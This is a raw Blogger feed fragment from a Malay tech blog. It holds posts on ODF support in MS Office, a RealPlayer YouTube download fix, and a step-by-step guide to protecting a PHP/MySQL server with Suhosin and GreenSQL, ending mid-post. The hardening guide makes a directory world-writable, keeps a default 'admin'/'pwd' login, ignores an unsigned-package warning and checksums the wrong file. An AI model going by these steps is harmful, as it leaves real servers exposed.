dan pptx...jadinya ianya menyebabkan tools lain tidak dapat menggunakannya kerana ia dipattern hanya boleh edit dalam ms office shj..ampess tui...so sebab tu la team open office nk fight untuk kebenaran dan berjaya..&lt;br /&gt;&lt;br /&gt;Dalam format ODF..&lt;br /&gt;1) doc = docx = odt&lt;br /&gt;2) xls = xlsx = ods&lt;br /&gt;3) ppt = pptx = odp&lt;br /&gt;&lt;br /&gt;Artikel format extension terbaru dalam &lt;a href="http://technet.microsoft.com/en-us/library/ee656737%28office.14%29.aspx#BKMK_FileFormatO12"&gt;MS Office 2007.&lt;/a&gt;&lt;br /&gt;&lt;br /&gt;Antara lain kejayaan team tu, MS Office perlu boleh buka dan save sebagai ODF v 1.1 tersebut bagi sebarang versi terbarunya...so mulai Sept 2009, MS Office 2007 SP2 dah mula boleh guna. Dan dengarnya versi MS Office ni dah comply terus untuk ODF..akhirnya Microsoft mengalah atas desakan public..kekadang depa ni concur pasaran sampaikan org lain takleh masuk..dan takde bisnes..&lt;br /&gt;&lt;div class="separator" style="clear: both; text-align: center;"&gt;&lt;a href="http://4.bp.blogspot.com/_Pk16G7RhVRE/S6EIno2CjPI/AAAAAAAAAlc/NjA53z9s26Y/s1600-h/openoffice.jpg" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"&gt;&lt;img border="0" src="http://4.bp.blogspot.com/_Pk16G7RhVRE/S6EIno2CjPI/AAAAAAAAAlc/NjA53z9s26Y/s320/openoffice.jpg" /&gt;&lt;/a&gt;&lt;/div&gt;&lt;br /&gt;Kalau masalah file extension ada 'x' ni Open Office pun dah selesaikan masalah tu dengan membolehkan untuk buka file ada extension 'x' tersebut. Namun untuk save dalam 'x' takde dalam sun OO sebab takde point nk sokong untuk guna extension tu pun. Kalau user nak guna juga leh download bukan versi Sun OO, iaitu versi &lt;a href="http://sourceforge.net/projects/ooop/"&gt;Oxygen Office&lt;/a&gt; for Professional dan &lt;a href="http://go-oo.org/"&gt;GoOO&lt;/a&gt;.&lt;br /&gt;&lt;br /&gt;OPEN OFFICE RULEZ!!!&lt;br /&gt;&lt;br /&gt;~ Be a Creator Not a User ~&lt;br /&gt;http://muzzotechspot.blogspot.com&lt;br /&gt;http://muzzoshah.blogspot.com&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/907989761847606873-8516517521036256725?l=muzzotechspot.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://muzzotechspot.blogspot.com/feeds/8516517521036256725/comments/default' title='Catat Ulasan'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=907989761847606873&amp;postID=8516517521036256725&amp;isPopup=true' title='0 Ulasan'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/907989761847606873/posts/default/8516517521036256725'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/907989761847606873/posts/default/8516517521036256725'/><link rel='alternate' type='text/html' href='http://muzzotechspot.blogspot.com/2010/03/microsoft-is-now-odf-enable-in-their-ms.html' title='Microsoft is now ODF enable in their MS Office 2007 SP2 and above version'/><author><name>muzzo</name><uri>http://www.blogger.com/profile/07681971727871823869</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='32' height='32' src='http://2.bp.blogspot.com/_Pk16G7RhVRE/SbZginnrT5I/AAAAAAAAATg/2z8zrwlSzzM/S220/muzzoshah.JPG'/></author><media:thumbnail xmlns:media='http://search.yahoo.com/mrss/' url='http://2.bp.blogspot.com/_Pk16G7RhVRE/S6EIe0nnIYI/AAAAAAAAAlU/0tceryb_Sgg/s72-c/microsoft-office-2007-tech-refresh4.gif' height='72' width='72'/><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-907989761847606873.post-7675889564803823830</id><published>2010-03-15T23:00:00.001+08:00</published><updated>2010-03-15T23:37:09.006+08:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='Knowledge Share'/><category scheme='http://www.blogger.com/atom/ns#' term='Internet'/><title type='text'>Problem of Unable to Download Youtube Video using Real Player SP</title><content type='html'>&lt;div class="separator" style="clear: both; text-align: center;"&gt;&lt;a href="http://3.bp.blogspot.com/_Pk16G7RhVRE/S55LVEF-zjI/AAAAAAAAAlE/pCF4wx3dOjc/s1600-h/youtube_logo.jpg" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"&gt;&lt;img border="0" src="http://3.bp.blogspot.com/_Pk16G7RhVRE/S55LVEF-zjI/AAAAAAAAAlE/pCF4wx3dOjc/s320/youtube_logo.jpg" /&gt;&lt;/a&gt;&lt;/div&gt;&lt;br /&gt;Kali ni aku nk short update blog ICT aku yang senyap sunyi je ni. Aku bebaru ni update Real Player aku guna Filehippo Update Checker. So detect la version Real Player aku ada versi baru. So aku update la kepada RealSP v1.1. Setakat nak run lagu atau movie to takde masalah, still maintain macam dulu.&lt;br /&gt;&lt;br /&gt;Tapi bile aku nak try download je game Final All England 2010 Lee Chong Wei dan Kenichi Tago tu, ok ada kuor ikon download this video, tapi bila klik je kuor mesej dari RealSP kata unable to download....arghh...aku mula tension, hati mula tidak tenang...jari jemariku mula mencari software2 lain yang sekutu dengannnya...tapi hampes takde..masak aku sbb byk perancangan nk amik video dari youtube ni, especially untuk adik amzar yg suke tengok ultraman kt youtube...aiseh tkleh download la pulak...&lt;br /&gt;&lt;br /&gt;Dalam aku mencari-cari tu, dapatla jumpe satu link ni ada bincang masalah org post yg sama macam masalah aku ni...ada harapan...&lt;br /&gt;&lt;blockquote&gt;http://www.google.com/support/forum/p/youtube/thread?tid=46ae923d8e624aa5&amp;amp;hl=en&lt;/blockquote&gt;So aku tengok kt forum tu, ada bgtau try test guna RealGold..yg tu versi lama aku..mmg confirm boleh..tapi aku nak maintain versi RealSP 1.1 ni..carik lagik scrol punye scrol...jumpe la komen satu mamat tu..&lt;br /&gt;&lt;div class="separator" style="clear: both; text-align: center;"&gt;&lt;a href="http://4.bp.blogspot.com/_Pk16G7RhVRE/S55LWKW3h6I/AAAAAAAAAlM/FxBLxT2eXdg/s1600-h/real_logo.jpg" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"&gt;&lt;img border="0" src="http://4.bp.blogspot.com/_Pk16G7RhVRE/S55LWKW3h6I/AAAAAAAAAlM/FxBLxT2eXdg/s320/real_logo.jpg" /&gt;&lt;/a&gt;&lt;/div&gt;&lt;br /&gt;caranya gini :&lt;br /&gt;&lt;br /&gt;1) Copy link youtube tu dan paste dalam browser Real Player SP tu...cthnya : http://www.youtube.com/watch?v=-_Vp3mfpdJQ&lt;br /&gt;2) Pastu video tu akan papar dan run dalam browser RealPlayer SP tu..then ada ikon download this video kuor..klik dan...taraaa....anda boleh download kembali guna toolbar ikon tu..&lt;br /&gt;&lt;br /&gt;Tapi dengan cara yang amat pelik sekali...baca punye baca banyak artikel bgtau, youtube dah filter download guna real player ni dan dah blok dah sebab katanya isu copyright..aduyaiii...mcmla video yg dok upload dalam tu macam2 versi pirate pun ada daa...lagipun youtube untuk public view, bukan untuk login user...apa la pelik youtube ni...nyusahkan org sunggoh...&lt;br /&gt;&lt;br /&gt;tapi syukur alhamdulillah...akhirnya berjaya gak aku download semua 6 part game final all england 2010 tu yg aku terlepas dek kerana mata ngantok punye pasal...huhu&lt;br /&gt;&lt;br /&gt;~ Be a Creator Not a User ~&lt;br /&gt;http://muzzotechspot.blogspot.com&lt;br /&gt;http://muzzoshah.blogspot.com&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/907989761847606873-7675889564803823830?l=muzzotechspot.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://muzzotechspot.blogspot.com/feeds/7675889564803823830/comments/default' title='Catat Ulasan'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=907989761847606873&amp;postID=7675889564803823830&amp;isPopup=true' title='0 Ulasan'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/907989761847606873/posts/default/7675889564803823830'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/907989761847606873/posts/default/7675889564803823830'/><link rel='alternate' type='text/html' href='http://muzzotechspot.blogspot.com/2010/03/problem-of-unable-to-download-from-real.html' title='Problem of Unable to Download Youtube Video using Real Player SP'/><author><name>muzzo</name><uri>http://www.blogger.com/profile/07681971727871823869</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='32' height='32' src='http://2.bp.blogspot.com/_Pk16G7RhVRE/SbZginnrT5I/AAAAAAAAATg/2z8zrwlSzzM/S220/muzzoshah.JPG'/></author><media:thumbnail xmlns:media='http://search.yahoo.com/mrss/' url='http://3.bp.blogspot.com/_Pk16G7RhVRE/S55LVEF-zjI/AAAAAAAAAlE/pCF4wx3dOjc/s72-c/youtube_logo.jpg' height='72' width='72'/><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-907989761847606873.post-5559127894644597212</id><published>2010-01-11T13:34:00.000+08:00</published><updated>2010-01-11T13:34:17.338+08:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='CentOS'/><category scheme='http://www.blogger.com/atom/ns#' term='PHP'/><category scheme='http://www.blogger.com/atom/ns#' term='SQL Injection'/><category scheme='http://www.blogger.com/atom/ns#' term='Command Line'/><category scheme='http://www.blogger.com/atom/ns#' term='Proxy'/><category scheme='http://www.blogger.com/atom/ns#' term='Open Source'/><category scheme='http://www.blogger.com/atom/ns#' term='Linux'/><title type='text'>How to secure your Web Server from PHP Vulnerable Attack and SQL Injection</title><content type='html'>Hampir seminggu lebih aku try and error dan belajar untuk setup software untuk protect server sistem PHP dan database aku dari sebarang cubaan dari luar untuk hack menggunakan vulnerable pada PHP dan juga vulnerable SQL Injection.&lt;br /&gt;&lt;br /&gt;So aku ada jumpe 2 software berkaitan dan ianya hanya boleh digunakan pada server Linux sahaja :&lt;br /&gt;Test Bed aku :&lt;br /&gt;OS : Red Hat 5.3 dan CentOS 5.2&lt;br /&gt;PHP : 5.2.11 &lt;br /&gt;Suhosin :&lt;br /&gt;Suhosin adalah sistem kawalan untuk instalasi PHP. Ianya dicipta untuk meleindungi server dan pengguna daripada kelemahan diketahui atau tak diketahui pada aplikasi PHP dan PHP Core. Suhosin ada dua jenis iaitu yang pertama adalam patch kepada PHP core yang akan membuat kawalan peringkat bawah dan melindungi daripada bufferoverflows atau format string vulnerable. Manakala yang kedua pula adalah PHP Extensions yang akan melaksanakan semua jenis perlindungan.&lt;br /&gt;&lt;br /&gt;&lt;div class="separator" style="clear: both; text-align: center;"&gt;&lt;a href="http://2.bp.blogspot.com/_Pk16G7RhVRE/S0qcPkAT-SI/AAAAAAAAAhE/Ily1IRKuHko/s1600-h/suhosin_gross.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"&gt;&lt;img border="0" src="http://2.bp.blogspot.com/_Pk16G7RhVRE/S0qcPkAT-SI/AAAAAAAAAhE/Ily1IRKuHko/s320/suhosin_gross.png" /&gt;&lt;/a&gt;&lt;br /&gt;&lt;/div&gt;&lt;br /&gt;Langkah untuk install Suhosin jenis kedua iaitu semua jenis perlindungan :&lt;br /&gt;&lt;br /&gt;1) Import dahulu key bagi pengesahan suhosin yang akan digunakan&lt;br /&gt;&lt;br /&gt;#&amp;gt; gpg --import &amp;lt; hardened-php-signature-key.asc&lt;br /&gt;Paparan berikut akan dilihat :&lt;br /&gt;&lt;pre class="code"&gt;gpg: /root/.gnupg/trustdb.gpg: trust-db erzeugt&lt;br /&gt;gpg: key 0A864AA1: public key "Hardened-PHP Signature Key" imported&lt;br /&gt;gpg: Anzahl insgesamt bearbeiteter Schlüssel: 1&lt;br /&gt;gpg:                              importiert: 1&lt;/pre&gt;&lt;pre class="code"&gt;&amp;nbsp;&lt;/pre&gt;&lt;pre class="code"&gt;2) Muat turun extension Suhosin dahulu di &lt;a href="http://www.hardened-php.net/suhosin/download.html"&gt;website &lt;/a&gt;ni.&lt;/pre&gt;&lt;pre class="code"&gt;cd /opt&lt;/pre&gt;&lt;pre class="code"&gt;wget http://download.suhosin.org/suhosin-0.9.29.tgz &lt;br /&gt;&lt;/pre&gt;&lt;pre class="code"&gt;&lt;/pre&gt;&lt;pre class="code"&gt;&amp;nbsp;&lt;/pre&gt;&lt;pre class="code"&gt;3) Kemudian taip berikut untuk semak kesahihan file didownload :&lt;br /&gt;#&amp;gt; md5sum php-5.1.4.tar.bz2&lt;br /&gt;66a806161d4a2d3b5153ebe4cd0f2e1c  php-5.1.4.tar.bz2&lt;br /&gt;&lt;/pre&gt;&lt;br /&gt;4) #&amp;gt; gunzip suhosin-0.9.29.tgz&lt;br /&gt;&lt;br /&gt;5) #&amp;gt; tar -xf  suhosin-0.9.29.tar&lt;br /&gt;&lt;br /&gt;6) #&amp;gt; cd suhosin-0.9.29&lt;br /&gt;&lt;br /&gt;7) #&amp;gt;  phpize&lt;br /&gt;Configuring for:&lt;br /&gt;PHP Api Version:&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; 20041225&lt;br /&gt;Zend Module Api No:&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; 20060613&lt;br /&gt;Zend Extension Api No:&amp;nbsp;&amp;nbsp; 220060519&lt;br /&gt;&lt;br /&gt;(Sekiranya anda tak dapat result seperti di atas, linux anda tiada php-devel package. Cuba run :&lt;br /&gt;#&amp;gt;  yum -y install php-devel)&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;8) #&amp;gt; ./configure&lt;br /&gt;&lt;br /&gt;checking for egrep... grep -E&lt;br /&gt;checking for a sed that does not truncate output... /bin/sed&lt;br /&gt;checking for cc... no&lt;br /&gt;checking for gcc... no&lt;br /&gt;configure: error: no acceptable C compiler found in $PATH&lt;br /&gt;See `config.log' for more details.&lt;br /&gt;(Jika keluar result begini maknanya linux anda tiada gcc installed. Biasa la default biasanya tkde dalam tu sebab kita tak guna selalu. so run command berikut : #&amp;gt; yum install gcc)&lt;br /&gt;Kalau repo anda tak jumpa. Cuba ikut langkah nk update repo di &lt;a href="http://muzzotechspot.blogspot.com/2009/12/how-to-update-repository-site-on-centos.html"&gt;artikel &lt;/a&gt;aku ni. Kebiasannya default centos atau RHEL dah ada dalam repo mereka.&lt;br /&gt;&lt;br /&gt;Sepatutnya akan keluar result berikut :&lt;br /&gt;Sebahagian result di hujung...&lt;br /&gt;**********************************&lt;br /&gt;checking if cc supports -c -o file.o... yes&lt;br /&gt;checking whether the cc linker (/usr/bin/ld) supports shared libraries... yes&lt;br /&gt;checking whether -lc should be explicitly linked in... no&lt;br /&gt;checking dynamic linker characteristics... GNU/Linux ld.so&lt;br /&gt;checking how to hardcode library paths into programs... immediate&lt;br /&gt;checking whether stripping libraries is possible... yes&lt;br /&gt;checking if libtool supports shared libraries... yes&lt;br /&gt;checking whether to build shared libraries... yes&lt;br /&gt;checking whether to build static libraries... no&lt;br /&gt;configure: creating libtool&lt;br /&gt;appending configuration tag "CXX" to libtool&lt;br /&gt;appending configuration tag "F77" to libtool&lt;br /&gt;configure: creating ./config.status&lt;br /&gt;config.status: creating config.h&lt;br /&gt;**********************************&lt;br /&gt;&lt;br /&gt;9) #&amp;gt; make&lt;br /&gt;Bahagian hujung result :&lt;br /&gt;**********************************&lt;br /&gt;See any operating system documentation about shared libraries for&lt;br /&gt;more information, such as the ld(1) and ld.so(8) manual pages.&lt;br /&gt;----------------------------------------------------------------------&lt;br /&gt;&lt;br /&gt;Build complete.&lt;br /&gt;Don't forget to run 'make test'.&lt;br /&gt;**********************************&lt;br /&gt;&lt;br /&gt;10) #&amp;gt; make install&lt;br /&gt;Resultnya&amp;nbsp; :&lt;br /&gt;Installing shared extensions:&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; /usr/lib/php/modules/&lt;br /&gt;&lt;br /&gt;11) #&amp;gt; cd /etc/php.d/&lt;br /&gt;&lt;br /&gt;12) #&amp;gt; cp mysql.ini suhosin.ini&lt;br /&gt;&lt;br /&gt;13) #&amp;gt; nano suhosin.ini&lt;br /&gt;Delete all words in that file and replace with this :&lt;br /&gt;extension=suhosin.so&lt;br /&gt;******************************&lt;br /&gt;ctrl+x , y&lt;br /&gt;&lt;br /&gt;14) #&amp;gt; /etc/init.d/httpd restart&lt;br /&gt;&lt;br /&gt;15) #&amp;gt; taip php -v&lt;br /&gt;PHP 5.2.11 (cli) (built: Sep 21 2009 14:49:09)&lt;br /&gt;Copyright (c) 1997-2009 The PHP Group&lt;br /&gt;Zend Engine v2.2.0, Copyright (c) 1998-2009 Zend Technologies&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp; with Suhosin v0.9.29, Copyright (c) 2007, by SektionEins GmbH&lt;br /&gt;&lt;br /&gt;16) Tahniah! anda berjaya install Suhosin untuk menyelamatkan PHP Core anda. Cara untuk guna suhosin patch aku tak terangkan sebab aku rasa elok guna suhosin extension sebab ianya full protection pada PHP Core.&lt;br /&gt;&amp;gt;&amp;gt;&amp;gt;&amp;gt;&amp;gt;&amp;gt;&amp;gt;&amp;gt;&amp;gt;&amp;gt;&amp;gt;&amp;gt;&amp;gt;&amp;gt;&amp;gt;&amp;gt;&amp;gt;&amp;gt;&amp;gt;&amp;gt;&amp;gt;&amp;gt;&amp;gt;&amp;gt;&amp;gt;&amp;gt;&amp;gt;&amp;gt;&amp;gt;&amp;gt;&amp;gt;&amp;gt;&amp;gt;&amp;gt;&amp;gt;&amp;gt;&amp;gt;&amp;gt;&amp;gt;&amp;gt;&amp;gt;&amp;gt;&amp;gt;&amp;gt;&amp;gt;&amp;gt;&amp;gt;&amp;gt;&amp;gt;&amp;gt;&amp;gt;&amp;gt;&amp;gt;&amp;gt;&amp;gt;&amp;gt;&amp;gt;&amp;gt;&amp;gt;&amp;gt;&amp;gt;&amp;gt;&amp;gt;&amp;gt;&amp;gt;&amp;gt;&lt;br /&gt;&lt;br /&gt;Sekarang aku nak terang cara nak install&amp;nbsp; greensql firewall pulak. yeah!&lt;br /&gt;Test Bed aku :&lt;br /&gt;OS : Red Hat 5.3 dan CentOS 5.2&lt;br /&gt;PHP : 5.2.11 &lt;br /&gt;&lt;br /&gt;MySQL : 5.0.86&lt;br /&gt;GreenSQL FW :&lt;br /&gt;GreenSQL adalah perisian firewall untuk database. Ianya mampu melindungi daripada serangan SQL injections. GreenSQL berfungsi sebagai proxy dan menyokong MySQL. Ianya menggunakan kaedah penetapan markah berdasarkan command admin yang biasa digunakan (DROP, CREATE, etc).&lt;br /&gt;&lt;br /&gt;&lt;div class="separator" style="clear: both; text-align: center;"&gt;&lt;a href="http://2.bp.blogspot.com/_Pk16G7RhVRE/S0qgxNaF8dI/AAAAAAAAAhU/vUaXb54U3Zw/s1600-h/GreenSQL_logo-thumb-240x156-1700.gif" imageanchor="1" style="clear: left; float: left; margin-bottom: 1em; margin-right: 1em;"&gt;&lt;img border="0" src="http://2.bp.blogspot.com/_Pk16G7RhVRE/S0qgxNaF8dI/AAAAAAAAAhU/vUaXb54U3Zw/s200/GreenSQL_logo-thumb-240x156-1700.gif" /&gt;&lt;/a&gt;&lt;a href="http://1.bp.blogspot.com/_Pk16G7RhVRE/S0qgwQU76VI/AAAAAAAAAhM/gID0CYowC-U/s1600-h/greensql-architecture.jpg" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"&gt;&lt;img border="0" src="http://1.bp.blogspot.com/_Pk16G7RhVRE/S0qgwQU76VI/AAAAAAAAAhM/gID0CYowC-U/s400/greensql-architecture.jpg" /&gt;&lt;/a&gt;&lt;br /&gt;&lt;/div&gt;1) #&amp;gt; cd /opt&lt;br /&gt;&lt;br /&gt;2) Download file mengikut distro Linux anda. Boleh cari file RPM mengikut distro dan versi terkini di website berikut : http://www.greensql.net/download&lt;br /&gt;&lt;br /&gt;(untuk versi RHEL 5)&lt;br /&gt;http://www.greensql.net/download/get?os=RHEL_5&amp;amp;platform=i386&amp;amp;filename=greensql-fw-1.2.1-12.1.i386.rpm&lt;br /&gt;(untuk versi CentOS 5)&lt;br /&gt;http://www.greensql.net/download/get?os=CentOS_5&amp;amp;platform=i386&amp;amp;filename=greensql-fw-1.2.1-12.1.i386.rpm&lt;br /&gt;&lt;br /&gt;(* download dan transfer semula ke server folder /opt guna winscp. Puas aku cari link yang direct ke file rpm tapi tak jumpa. Guna wget tak dapat file rpm sebenar)&lt;br /&gt;&lt;br /&gt;3)&amp;nbsp; #&amp;gt; &lt;code&gt;rpm -ihv greensql-fw-X.X.X.rpm&lt;/code&gt;&lt;br /&gt;&lt;code&gt;&amp;nbsp;*********************************************&lt;/code&gt;&lt;br /&gt;&lt;code&gt;&lt;br /&gt;warning: greensql-fw-1.2.1-12.1.i386.rpm: Header V3 DSA signature: NOKEY, key ID 1674ae8b&lt;br /&gt;Preparing...&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; ########################################### [100%]&lt;br /&gt;&amp;nbsp;&amp;nbsp; 1:greensql-fw&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; ########################################### [100%]&lt;br /&gt;&lt;br /&gt;run /usr/sbin/greensql-config for setting up configuration&lt;br /&gt;&amp;nbsp;&lt;/code&gt;&lt;br /&gt;&lt;code&gt;**********************************************&lt;/code&gt;&lt;br /&gt;&lt;code&gt;&lt;br /&gt;&lt;/code&gt;&lt;br /&gt;&lt;code&gt;&lt;/code&gt;&lt;br /&gt;&lt;code&gt;4)#&amp;gt; &lt;/code&gt;&lt;code&gt;/usr/sbin/greensql-config&lt;/code&gt;&lt;br /&gt;&lt;code&gt;&lt;/code&gt;&lt;br /&gt;&lt;br /&gt;&lt;code&gt;&lt;/code&gt;&lt;br /&gt;&lt;code&gt;***************************************************************&lt;/code&gt;&lt;br /&gt;&lt;code&gt;executing /usr/bin/greensql-create-db.sh&lt;br /&gt;which: no psql in (/usr/kerberos/sbin:/usr/kerberos/bin:/usr/local/sbin:/usr/local/bin:/sbin:/bin:/usr/sbin:/usr/bin:/root/bin)&lt;br /&gt;&lt;br /&gt;mysql binary file located: /usr/bin/mysql&lt;br /&gt;mysqladmin binary file located: /usr/bin/mysqladmin&lt;br /&gt;&lt;br /&gt;Database type (mysql or pgsql) [mysql]: [ENTER]&lt;br /&gt;MySQL server address [127.0.0.1]: &lt;/code&gt;&lt;code&gt;[ENTER]&lt;/code&gt;&lt;br /&gt;&lt;code&gt;MySQL port number [3306]: &lt;/code&gt;&lt;code&gt;[ENTER]&lt;/code&gt;&lt;br /&gt;&lt;code&gt;MySQL admin user [root]: &lt;/code&gt;&lt;code&gt;[ENTER]&lt;/code&gt;&lt;br /&gt;&lt;code&gt;MySQL admin password [pwd]: &lt;/code&gt;&lt;code&gt;[PASSWORD MYSQL ROOT]&lt;/code&gt;&lt;br /&gt;&lt;code&gt;GreenSQL config db name [greendb]: &lt;/code&gt;&lt;code&gt;[ENTER]&lt;/code&gt;&lt;br /&gt;&lt;code&gt;GreenSQL DB user name [green]: &lt;/code&gt;&lt;code&gt;[ENTER]&lt;/code&gt;&lt;br /&gt;&lt;code&gt;GreenSQL DB user password [pwd]: [PASSWORD CADANGAN USER GREEN, DEFAULT PWD]&lt;br /&gt;Would you like to set up the database and tables automatically [Y/n]: y&lt;br /&gt;y&lt;br /&gt;Creating MySQL database...&lt;br /&gt;Adding MySQL user green...&lt;br /&gt;Creating MySQL tables...&lt;br /&gt;Modifing /etc/greensql/greensql.conf...&lt;br /&gt;***************************************************************&lt;br /&gt;&lt;/code&gt;&lt;code&gt; &lt;/code&gt;&lt;br /&gt;&lt;br /&gt;5) #&amp;gt; /etc/init.d/greensql-fw start&lt;br /&gt;&lt;br /&gt;6) &lt;code&gt;#&amp;gt; cd /var/www/html&lt;/code&gt;&lt;br /&gt;&lt;br /&gt;&lt;code&gt;&lt;/code&gt;&lt;br /&gt;&lt;code&gt;7)#&amp;gt; ln -s /usr/share/greensql-fw/ greensql&lt;/code&gt;&lt;br /&gt;&lt;br /&gt;&lt;code&gt;8)#&amp;gt; &lt;/code&gt;&lt;code&gt;cd /var/www/html/greensql&lt;/code&gt;&lt;br /&gt;&lt;code&gt;&lt;/code&gt;&lt;br /&gt;&lt;br /&gt;&lt;code&gt;9)#&amp;gt; chmod 0777 templates_c&lt;/code&gt;&lt;code&gt;&amp;nbsp;&lt;/code&gt;&lt;br /&gt;&lt;code&gt;(sekarang anda boleh layari di http://yourdomain/greensql)&lt;/code&gt;&lt;br /&gt;&lt;code&gt; &lt;br /&gt;gunakan user : admin dan password : pwd&lt;/code&gt;&lt;br /&gt;&lt;code&gt;&lt;br /&gt;&lt;/code&gt;&lt;br /&gt;&lt;code&gt;10) Kemudian anda perlu buat pengujian sama ada port 3305 boleh digunakan untuk proxy mysql.&lt;/code&gt;&lt;br /&gt;&lt;code&gt;mysql -h 127.0.0.1 &lt;strong&gt;-P 3305&lt;/strong&gt; -u root -p&lt;/code&gt;&lt;br /&gt;&lt;code&gt;password : &lt;masukkan mysql="" password="" root=""&gt;&lt;/masukkan&gt;&lt;/code&gt;&lt;br /&gt;&lt;code&gt;******************************************************&lt;br /&gt;&lt;/code&gt;&lt;br /&gt;&lt;code&gt;Welcome to the MySQL monitor.&amp;nbsp; Commands end with ; or \g.&lt;br /&gt;Your MySQL connection id is 6332&lt;br /&gt;Server version: 5.0.86 Source distribution&lt;br /&gt;&lt;br /&gt;Type 'help;' or '\h' for help. Type '\c' to clear the current input statement.&lt;br /&gt;&lt;br /&gt;mysql&amp;gt; &lt;br /&gt;&lt;/code&gt;&lt;br /&gt;&lt;code&gt; &lt;/code&gt;&lt;code&gt;&lt;/code&gt;&lt;br /&gt;&lt;code&gt;******************************************************&lt;/code&gt;&lt;br /&gt;&lt;br /&gt;&lt;code&gt;11) Di dalam konfigurasi sambungan database di dalam coding PHP anda kena ubah daripada&amp;nbsp;&lt;/code&gt;&lt;br /&gt;&lt;br /&gt;&lt;code&gt;$link = mysql_connect('&lt;strong&gt;localhost&lt;/strong&gt;', 'mysql_user', 'mysql_password');&lt;/code&gt;&lt;code&gt;&amp;nbsp;&lt;/code&gt;&lt;code&gt;&amp;nbsp;&lt;/code&gt;&lt;br /&gt;&lt;br /&gt;&lt;code&gt;KEPADA&lt;/code&gt;&lt;br /&gt;&lt;code&gt; &lt;br /&gt;&lt;/code&gt;&lt;br /&gt;&lt;code&gt;$link = mysql_connect('&lt;strong&gt;127.0.0.1:3305&lt;/strong&gt;', 'mysql_user', 'mysql_password');&lt;/code&gt;&lt;br /&gt;&lt;br /&gt;&lt;code&gt;12) Anda selesai setup greensql dan melindungi server anda dari sql injection serta boleh memantaunya. Cuma greensql tak capture ip penyerang tersebut. Yang ini kelemahan yang ada. Namun perisian ni amat membantu...&lt;/code&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;code&gt;Semoga nota ini membantu anda semua..&lt;/code&gt;&lt;br /&gt;&lt;code&gt;&amp;nbsp;&lt;/code&gt;&lt;code&gt; &lt;/code&gt;&lt;br /&gt;~ Be a Creator Not a User ~&lt;br /&gt;http://muzzotechspot.blogspot.com&lt;br /&gt;http://muzzoshah.blogspot.com&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/907989761847606873-5559127894644597212?l=muzzotechspot.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://muzzotechspot.blogspot.com/feeds/5559127894644597212/comments/default' title='Catat Ulasan'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=907989761847606873&amp;postID=5559127894644597212&amp;isPopup=true' title='0 Ulasan'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/907989761847606873/posts/default/5559127894644597212'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/907989761847606873/posts/default/5559127894644597212'/><link rel='alternate' type='text/html' href='http://muzzotechspot.blogspot.com/2010/01/how-to-secure-your-web-server-from-php.html' title='How to secure your Web Server from PHP Vulnerable Attack and SQL Injection'/><author><name>muzzo</name><uri>http://www.blogger.com/profile/07681971727871823869</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='32' height='32' src='http://2.bp.blogspot.com/_Pk16G7RhVRE/SbZginnrT5I/AAAAAAAAATg/2z8zrwlSzzM/S220/muzzoshah.JPG'/></author><media:thumbnail xmlns:media='http://search.yahoo.com/mrss/' url='http://2.bp.blogspot.com/_Pk16G7RhVRE/S0qcPkAT-SI/AAAAAAAAAhE/Ily1IRKuHko/s72-c/suhosin_gross.png' height='72' width='72'/><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-907989761847606873.post-8529111649390068437</id><published>2009-12-30T16:30:00.002+08:00</published><updated>2009-12-31T00:01:51.393+08:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='Oracle JI'/><category scheme='http://www.blogger.com/atom/ns#' term='SPEKS'/><category scheme='http://www.blogger.com/atom/ns#' term='Internet Explorer'/><title type='text'>SPEKS problem with Oracle JInitiator on Mozilla Firefox and IE8</title><content type='html'>&lt;span id="goog_1262153632125"&gt;&lt;/span&gt;&lt;span id="goog_1262153632126"&gt;&lt;/span&gt;&lt;br /&gt;&lt;div class="separator" 